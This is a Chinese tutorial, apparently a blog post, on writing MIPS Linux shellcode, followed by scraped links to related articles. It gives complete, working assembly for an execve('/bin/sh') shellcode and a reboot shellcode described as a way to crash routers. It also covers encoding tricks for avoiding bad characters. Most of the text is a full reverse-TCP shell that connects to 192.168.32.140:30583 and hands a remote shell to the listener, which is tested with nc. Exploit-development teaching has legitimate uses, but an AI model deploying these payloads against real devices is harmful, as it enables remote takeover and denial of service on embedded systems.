文章目录

  • 1. MIPS linux 系统调用
    • write
    • execve
  • 2. 编码优化
    • 优化方法-指令优化
    • 编码优化
  • 3. 通用shellcode
    • reboot shellcode
    • reverse_tcp shellcode

1. MIPS linux 系统调用

MIPS没有int 0x80, 而是使用syscall进行系统调用。

syscall($v0, $a0, $a1, $a2...);
汇编:
li $a0, 0
li $v0, 4001    # exit
syscall

$v0为系统调用号, 定义位于/usr/include/mips-linux-gnu/asm/unistd.h

可以先实现c语言版本的shellcode,然后用strace查看系统调用号,再根据系统调用号实现汇编版本shellcode。

write

文档:https://man7.org/linux/man-pages/man2/write.2.html

.section .text
.globl __start
.set noreorder
__start:
addiu $sp,$sp,-32        # 抬高堆栈,用来放置参数
li $a0,1                # 传入第一个参数,表示输出到stdout
lui $t6,0x4142
ori $t6,$t6,0x430a        # 放置字符ABCn到$t6中
sw $t6,0($sp)            # 将$t6里面的数据存储到堆栈中
addiu $a1,$sp,0        # 从堆栈中将ABCn存储到第二个参数$a1中,
li $a2,5                # 传入第三个参数,5,表示字符串长度
li $v0,4004            # 传入write的系统调用号4004
syscall

编译:

#!/bin/sh
# $ sh nasm.sh <source file> <excute file>
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o
echo "as ok"
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst
echo "ld ok"
rm s.o

execve

execve是常用的shellcode之一,用来运行/bin/sh之类的shell。

文档:https://man7.org/linux/man-pages/man2/execve.2.html

# execve(“/bin/sh”, 0, 0).section .text
.globl __start
.set noreorder__start:
li $a2,0x111# 因为mips的流水线基址,这两条指令同时执行
p:bltzal $a2,p          # jmp if $a2 < 0, 执行后,下下行addiu的地址会保存在$ra中
li $a2,0                # 存入第三个参数0,addiu $sp,$sp,-32        # 拉高堆栈,存放参数, 该行地址在bltzal时保存至$ra
addiu $a0,$ra,28        # $ra+28是下面参数字符串/bin/sh的首地址, 28==7(行)*4 bytes
sw $a0,-24($sp)        # 将/bin/sh存入开辟的数组
sw $zero,-20($sp)        # 将参数0存入数组
addiu $a1,$sp,-24
li $v0,4011     # execve
syscallsc:                    # 存储的参数/bin/sh.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68

2. 编码优化

坏字符包括:NULL, \r, \n,空格等。

优化方法-指令优化

不要用立即数0, 可以先赋值为一个大数,再减去这个大数。

编码优化

编码后的shellcode构造:

解码指令 要求短小精悍
编码后的指令

编码算法:

  • base64: 用于网页shellcode;
  • alpha_upper:全替换为ascii可见字符;
  • xor:异或一下。

3. 通用shellcode

reboot shellcode

用途:重启路由器实现dos。

reboot系统调用文档:https://man7.org/linux/man-pages/man2/reboot.2.html

#include <unistd.h>
#include <linux/reboot.h>
#include <sys/reboot.h>int main() {reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART);
}

汇编:

.section .text
.globl __start
.set noreorder
__start:
lui $a2, 0x4321
ori $a2, $a2, 0xfedclui $a1, 0x2812
ori $a1, $a1, 0x1969lui $a0, 0xFEEL
ori $a0, $a0, 0xDEADli $v0, 4088
syscall

reverse_tcp shellcode

相关系统调用:

  • https://man7.org/linux/man-pages/man2/socket.2.html
  • https://man7.org/linux/man-pages/man2/connect.2.html
  • https://man7.org/linux/man-pages/man2/dup2.2.html
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>int soc, rc;
struct sockaddr_in serv_addr;
//reverse(ip: port)   192.168.32.140:30583// struct sockaddr_in {//   sa_family_t    sin_family;
//   uint16_t       sin_port;
//   struct in_addr  sin_addr;
//   char            sin_zero[8];
// }int main() {serv_addr.sin_family = AF_INET/*2*/;serv_addr.sin_addr.s_addr = 0xc0a8208c;serv_addr.sin_port = 0x7777;soc = socket(AF_INET/*2*/, SOCK_STREAM/*2*/, 0);rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);dup2(soc, 0);dup2(soc, 1);dup2(soc, 2);execve("/bin/sh", 0, 0);
}

汇编部分,分解一下来实现:

socket:

# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3   # 指令优化
addi $a1, $t7, -3
slti $a2, $zero, -1     # $a2 = ($zero < (-1)) ? 1 : 0
li $v0, 4183     # sys_socket
syscall

connect:

# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)     # socketr
lw $a0, -1($sp)li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)    # sin_family    big endianlui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)    lui $t6, 0xc0a8       #ip(high)
ori $t6, $t6, 0x0249  #ip(low)
sw $t6, -26($sp)addiu $a1, $sp, -30     # sizeof(sin_family) == 2 bytes
li $t4, -17
nor $a2, $t4, $zero     # not(-17 | 0) == not(b1111) == 0x10
li $v0, 4170      #sys_connect
syscall

dup2:

# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero     # not(b101) == b10 == 2
lw $a0, -1($sp)     # sock
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop     # if newfd == -1, break

execve:

# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1     # $a2 = ($zero < (-1)) ? 1 : 0# big endian
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8  # pointer to "/bin/sh"
li $v0, 4011      #sys_execve
syscall

完整版:

.section .text
.globl __start
.set noreorder
__start:# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183     # sys_socket
syscall# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8       #ip(high) 192.168
ori $t6, $t6, 0x208c  #ip(low)  32.140
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170      #sys_connect
syscall# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011      #sys_execve
syscall

可以使用nc测试:

nc -l 30583

总结下注意点:

  1. 这种长的shellcode,要分解实现;
  2. 注意结构体成员地址问题,赋值时4字节为单位;
  3. 注意大端存储;
  4. 注意优化。

MIPS shellcode相关推荐

  1. 利用 exploit-db 交叉编译 shellcode

    文章目录 shellcode 通用编写方法 编写 ARM shellcode 静态编译 查看程序架构信息 qemu 本地运行验证是否可用 编写 MIPS shellcode 静态编译 查看程序架构信息 ...

  2. 新漏洞可导致西门子 PLCs 遭远程攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 工业网络安全公司 Claroty 的研究员发现一个严重漏洞,可遭远程未认证攻击者入侵西门子制造的某些可编程逻辑控制器 (PLCs). 该漏 ...

  3. Android开发中libs包下面的mips、armeabi、armeabi-v7a和x86

    简介 在Android日常的开发过程中有的项目需要引入第三方的库,有时候大家可能会在libs文件夹下看到 mips.armeabi.armeabi-v7a和x86这四个文件夹.那么这三个文件夹下面的包 ...

  4. 了解黑客的关键工具---揭开Shellcode的神秘面纱

    2019独角兽企业重金招聘Python工程师标准>>> ref:  http://zhaisj.blog.51cto.com/219066/61428/ 了解黑客的关键工具---揭开 ...

  5. 实战之网马解密之shellcode篇

    今天上卡卡社区发现里面发了个网马解密的链接,呵呵 顺便试试看能解出来不.呵呵.  相信各位已经对网马有点了解了吧.一般网马都是加密了的.关于什么是网马以及怎么防止网马也不是本文的重点.本文是实战she ...

  6. MIPS(loongson)linux 中添加系统调用

    在基于MISP(loongson)架构处理器与基于 x86 架构处理器的 linux 内核中添加系统调用时更改的文件是不同的,x86 中需要更改 arch/x86/kernel/syscall_tab ...

  7. MIPS中的异常处理和系统调用【转】

    转自:http://blog.csdn.net/jasonchen_gbd/article/details/44044091 权声明:本文为博主原创文章,转载请附上原博链接. 异常入口 系统调用是用户 ...

  8. 几种芯片架构:X86、ARM、RISC-V和MIPS

    首先,是cpu的两大架构:ARM和X86. 第一个区别就是所谓的"复杂指令集"与"精简指令集"系统,也就是经常看到的"CISC"与" ...

  9. Shellcode开发辅助工具shellnoob

    Shellcode开发辅助工具shellnoob Shellcode开发的过程中会遇到很多繁杂的工作,如编译.反编译.调试等.为了减少这部分工作,Kali Linux提供了开发辅助工具shellnoo ...

  10. 全球三大芯片架构之一MIPS倒下!转身投入RISC-V阵营

    杨净 鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 全球三大芯片架构之一MIPS,已经成为历史. 据外媒报道,所属公司宣布将放弃继续设计MIPS架构,全身心投入RISC-V阵营. 作为当 ...

最新文章

  1. AI 芯片的分类及技术
  2. Debian6 Squeeze上安装xen
  3. 信息安全系统设计基础第九周总结
  4. linux注释内容,Linux 中snmptrapd的内容有大虾能帮我注释下吗?谢谢了
  5. 基于Web Services建立Asp与Asp.Net之间Session数据桥的应用研究
  6. linux下删除已经创建的数据库,MongoDB 数据库的创建和删除
  7. 宁波大学计算机应用技术考研,宁波大学2021年计算机考研拟录取数据分析
  8. python按哪个键删除_Python-从字典中删除键的方法
  9. 如何求最小三元组距离
  10. pytest框架(三)
  11. ffmpeg 录屏推流_在 Linux 使用 ffmpeg 推流
  12. 计算机在录制声音过程中流向,Bandicam电脑声音如何录制?电脑声音录制流程图文介绍...
  13. 【读书笔记】金融理财,半佛推荐,小狗钱钱_2020.05.01
  14. 代码托管平台的待办事项你知道吗 ?|GitCode
  15. 罗斯福国家森林树木类型识别
  16. 使用layer打开新页面
  17. 基于SSM的住院病人监测预警信息管理系统毕业设计源码021054
  18. 动态规划——背包问题九解(01背包)
  19. java麻将软件_dnf徽章加什么
  20. VELO3D将推出1米高的大型工业3D金属打印机,Knust-Godwin成为首家客户

热门文章

  1. mysql_sniffer安装
  2. 回归分析beta值的标准_线性回归分析其中“β、 T 、F”分别是什么含义?
  3. 粮食在计算机中的应用,计算机监控系统在粮食仓储中的应用
  4. python学习----登陆
  5. 程序员有必要掌握 TDD 吗?
  6. 计算机强制关机代码bat,自制bat文件搞定定时关机、重启、强制关机、注销等
  7. 【软考系统架构设计师】2015年下系统架构师案例分析历年真题
  8. 前后端开发的心得体会_web前端学习心得体会
  9. 环境科学概论知识点总结
  10. English Pod 听力学习之路 C69 - C75